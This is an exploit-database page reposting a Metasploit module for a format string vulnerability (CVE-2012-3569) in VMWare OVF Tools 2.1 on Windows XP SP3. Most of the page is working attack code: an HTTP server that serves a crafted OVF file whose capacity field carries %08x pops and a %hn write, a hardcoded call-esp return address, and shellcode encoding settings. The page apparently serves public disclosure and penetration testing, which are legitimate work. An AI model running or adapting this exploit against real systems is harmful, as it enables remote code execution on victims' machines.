VMWare OVF Tools Format String

2013.02.07
Credit: Juan vazquez
Risk: High
Local: No
Remote: Yes
CWE: CWE-134


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => 'VMWare OVF Tools Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for Windows. The vulnerability occurs when printing error messages while parsing a a malformed OVF file. The module has been tested successfully with VMWare OVF Tools 2.1 on Windows XP SP3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jeremy Brown', # Vulnerability discovery 'juan vazquez' # Metasploit Module ], 'References' => [ [ 'CVE', '2012-3569' ], [ 'OSVDB', '87117' ], [ 'BID', '56468' ], [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] ], 'Payload' => { 'DisableNops' => true, 'BadChars' => (0x00..0x08).to_a.pack("C*") + "\x0b\x0c\x0e\x0f" + (0x10..0x1f).to_a.pack("C*") + (0x80..0xff).to_a.pack("C*") + "\x22", 'StackAdjustment' => -3500, 'PrependEncoder' => "\x54\x59", # push esp # pop ecx 'EncoderOptions' => { 'BufferRegister' => 'ECX', 'BufferOffset' => 6 } }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # vmware-ovftool-2.1.0-467744-win-i386.msi [ 'VMWare OVF Tools 2.1 on Windows XP SP3', { 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 'AddrPops' => 98, 'StackPadding' => 38081, 'Alignment' => 4096 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Nov 08 2012', 'DefaultTarget' => 0)) end def ovf my_payload = rand_text_alpha(4) # ebp my_payload << [target.ret].pack("V") # eip # call esp my_payload << payload.encoded fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 fs << my_payload # 65536 => 0x10000 # 27 => Error message prefix length fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) fs << "%08x" * target['AddrPops'] # Reach saved EBP fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 ovf_file = <<-EOF <?xml version="1.0" encoding="UTF-8"?> <Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1" xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common" xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1" xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData" xmlns:vmw="http://www.vmware.com/schema/ovf" xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <References> <File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" /> </References> <DiskSection> <Info>Virtual disk information</Info> <Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" /> </DiskSection> <VirtualSystem ovf:id="Small VM"> <Info>A virtual machine</Info> </VirtualSystem> </Envelope> EOF ovf_file end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri if agent !~ /VMware-client/ or agent !~ /ovfTool/ print_status("User agent #{agent} not recognized, answering Not Found...") send_not_found(cli) end if uri =~ /.mf$/ # The manifest file isn't required print_status("Sending Not Found for Manifest file request...") send_not_found(cli) end print_status("Sending OVF exploit...") send_response(cli, ovf, {'Content-Type'=>'text/xml'}) end end

References:

http://www.vmware.com/security/advisories/VMSA-2012-0015.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top